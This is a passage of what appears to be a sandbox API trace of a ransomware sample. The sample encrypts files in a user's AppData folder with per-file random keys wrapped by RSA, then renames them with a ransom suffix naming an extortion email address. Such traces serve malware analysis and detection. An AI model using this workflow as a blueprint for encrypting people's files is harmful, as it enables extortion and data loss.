| out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.079] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+I7N1sW9pu7X1X5TC2yIwRmzJu/fmsK7n+IepRJULtt0NXfmfUSOuFcsCKvbPciC\n0DEEvUXm79xaMmNNUSdUJMirmOMJ0NyCwO75nrQHAwWfZJh4PLQqgapgAu7vyhpr\n1ytA/rrFhu0fqfvgasjp+zdExVyCSde1j2cFysUZMRb60JzVQSnRJxF3AiogGSbl\nuF9TBJXQulmWEC3dfU1UT8vX3LU5iWN6+XrrTgNDdPPbrB+/uh7bRjZ3bWixl7kK\nm4KwGHzKF7ifdLzslNnT+LD8/CjF5QMrF3TF7osAWQw8DHf8rI7b8Y8dbdXKowX7\nz4iK/ZT+Gcmllpos24JkOA==\n", pcchString=0x2e3f9a8) returned 1 [0155.079] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.079] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.079] CloseHandle (hObject=0x6a8) returned 1 [0155.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.079] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\yPvcK9KKYDCNPu8UYfI.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ypvck9kkydcnpu8uyfi.avi"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\yPvcK9KKYDCNPu8UYfI.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ypvck9kkydcnpu8uyfi.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0155.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61b10 | out: hHeap=0x570000) returned 1 [0155.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61840 | out: hHeap=0x570000) returned 1 [0155.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x2e61930 [0155.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.083] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.083] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ykRZT9aW6s0hg4oEJH.mp4", dwFileAttributes=0x80) returned 1 [0155.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x2e61408 [0155.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0155.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61408 | out: hHeap=0x570000) returned 1 [0155.084] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ykRZT9aW6s0hg4oEJH.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ykrzt9aw6s0hg4oejh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.084] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=85423) returned 1 [0155.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14daf) returned 0x2e61f30 [0155.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14daf) returned 0x2e76ce8 [0155.084] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x14daf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x14daf, lpOverlapped=0x0) returned 1 [0155.085] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-85423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.086] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e76ce8*, nNumberOfBytesToWrite=0x14daf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e76ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14daf, lpOverlapped=0x0) returned 1 [0155.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e76ce8 | out: hHeap=0x570000) returned 1 [0155.086] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14daf [0155.086] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.086] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.087] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.087] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.087] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.087] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="OUIgHnYm39pEuhaTHZldezl1/40PWurfu/4U2SDze0e+iWX9LGXF8H6Ab8MOWAUt\nQPMKcb+l9k15KuZJMxruau+7An+tgOowwOAMzSYmHmaqTzcgwjPmQhetLTVuNojy\nlg4I3LhcCEs9YVsBeEu0xk0kuShk5ieZ9bvMMk6W6K7g6W9kVmIf7C3Y+C5Du0Ci\nx0WJxnm9y60ENCKzRa7C1sQdtOibBfDUq6HMw6ci2TSyJ3Y3/cvOvTBozXLD1iO+\nj8YcsUe8iFY7fo69o9Una+57SW9i1d+TfVuL0F3b/bOtZ5nPzPP1C+2MaZMOit+q\nHoiwwiIh9uu7NMpN8PZ/OA==\n", pcchString=0x2e3f9a8) returned 1 [0155.087] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.087] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.087] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.087] CloseHandle (hObject=0x6a8) returned 1 [0155.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.088] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ykRZT9aW6s0hg4oEJH.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ykrzt9aw6s0hg4oejh.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ykRZT9aW6s0hg4oEJH.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ykrzt9aw6s0hg4oejh.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.089] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.090] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\YHwAAwd61Qg6XnA280n.gif", dwFileAttributes=0x80) returned 1 [0155.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x2e611b0 [0155.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0155.090] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\YHwAAwd61Qg6XnA280n.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yhwaawd61qg6xna280n.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.090] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=42596) returned 1 [0155.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa664) returned 0x6538b0 [0155.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa664) returned 0x2e61f30 [0155.090] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xa664, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xa664, lpOverlapped=0x0) returned 1 [0155.092] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-42596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.092] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xa664, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa664, lpOverlapped=0x0) returned 1 [0155.093] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa664 [0155.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.093] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.093] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5kwml+q5J7gxgqSaQe9FF+9ANP9TbNEnEv9BsSsq8SfS0Zf+93li+PNc86tPiLYU\nCdjOfhVvorXHiAEtFVAQ04CTNhOM5cyf++zQvoNEmcaLEaYO0Eirh40XJNM2ZO/Y\ntakIYx5QkwwmR4Z1a9KslMgt4KVn+tyqHkpE7EUFONntiEQdb1WnqoDC+NjvkjLs\n8a3omhpn4Ft620GgrGGVj0ARdTCut+if4M3FuTcqTtEovOL6Q1oCpGU6TxrD7jHQ\nSogDZw30tBK70OAXSe8vEKpz97bui5EjLt8pXgiNvBQEwx9EfQOkHeJozeW890Sj\nErX63AwKRrrO6uVEqrI0KA==\n", pcchString=0x2e3f9a8) returned 1 [0155.093] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.094] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.094] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.094] CloseHandle (hObject=0x6a8) returned 1 [0155.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.094] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\YHwAAwd61Qg6XnA280n.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yhwaawd61qg6xna280n.gif"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\YHwAAwd61Qg6XnA280n.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yhwaawd61qg6xna280n.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0155.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61cf0 | out: hHeap=0x570000) returned 1 [0155.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.096] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.096] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\y3TLzbk NEn3xjke7z.gif", dwFileAttributes=0x80) returned 1 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x2e61a98 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0155.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61a98 | out: hHeap=0x570000) returned 1 [0155.096] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\y3TLzbk NEn3xjke7z.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\y3tlzbk nen3xjke7z.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.096] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=33508) returned 1 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x82e4) returned 0x6538b0 [0155.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x82e4) returned 0x65bba0 [0155.096] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x82e4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x82e4, lpOverlapped=0x0) returned 1 [0155.098] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-33508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.098] WriteFile (in: hFile=0x6a8, lpBuffer=0x65bba0*, nNumberOfBytesToWrite=0x82e4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65bba0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x82e4, lpOverlapped=0x0) returned 1 [0155.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65bba0 | out: hHeap=0x570000) returned 1 [0155.098] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x82e4 [0155.098] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.099] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.099] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.099] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="y99vIqvKR3QZBDrZ3mzdnT+WuuEj1gq5T+b9SFvY2gFuBZshkmpGi3pCzIcAetQW\nNlnWjEC3mMUkobSodayrX22JPQqDCXsV8PoTk+nQu6dBPuRHGj39Oe0pJFrLfJZ5\nEWMaiGBHHn/6e1PvXPiXYyMe1ZNBK8EfxJQsEsknEjhMzTcAI7p5u9MuWMusHHeg\nAB9B6m7/iZGqt4uV4U3txYF8yG0+DChJoDrbtevnhuzSCUjVcF/L7MvCRhQTGlyK\naa775C0CfsxLDRWXOrTLpgcYsOEBsD4z+pTAnUPRJKfjx0g5VcKAuEg9W1Teoae0\nz3FSTCxlytaa0hS3tPQkfw==\n", pcchString=0x2e3f9a8) returned 1 [0155.099] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.099] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.099] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.100] CloseHandle (hObject=0x6a8) returned 1 [0155.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.100] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\y3TLzbk NEn3xjke7z.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\y3tlzbk nen3xjke7z.gif"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\y3TLzbk NEn3xjke7z.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\y3tlzbk nen3xjke7z.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0155.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0155.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.101] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\XjanlTX039MqQ89Zhye.m4a", dwFileAttributes=0x80) returned 1 [0155.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0155.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0155.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\XjanlTX039MqQ89Zhye.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xjanltx039mqq89zhye.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.102] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1346) returned 1 [0155.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x542) returned 0x5b5a90 [0155.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x542) returned 0x2f60050 [0155.102] ReadFile (in: hFile=0x6a8, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x542, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x542, lpOverlapped=0x0) returned 1 [0155.103] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-1346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.103] WriteFile (in: hFile=0x6a8, lpBuffer=0x2f60050*, nNumberOfBytesToWrite=0x542, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesWritten=0x2e3f9b4*=0x542, lpOverlapped=0x0) returned 1 [0155.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0155.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0155.103] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x542 [0155.103] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.103] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.103] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.103] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hOrQ/Q5LnoDJ9nuZS4b1A1dbp+K8h8MrOHX5i3Cub5OtGUi4PBZs/od+LXjb0ybT\n/WYLdqszHxTJ6RrvRNgUEcpCPoY+PbAWJIbt/0lkO3C95NBsaoVu6nti0JDA9gtp\na8Qkq1tt2sUo+COb1ksO5hrNeeoqt+R/iB2dTszH/X5V6Hn5BvqLWMmQKAdfy7Zv\n0gGFLe+qbYxAHnKJ9510OThfbKHERWxbQDujh451JzdqmxPcPzW2UjP3Hzv+FBlz\nzxx0DQqtSlOy6RhZ0N2tJBBYobASYOjlEGP7fcJc0wsarwGHWRmNjuwjO5JbTGbV\nXh30jVMVHimxQavv8Gg9Nw==\n", pcchString=0x2e3f9a8) returned 1 [0155.103] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.104] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.104] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.104] CloseHandle (hObject=0x6a8) returned 1 [0155.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.104] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\XjanlTX039MqQ89Zhye.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xjanltx039mqq89zhye.m4a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\XjanlTX039MqQ89Zhye.m4a.1506877342345.bmps@tutanota.com.major" (normalized: 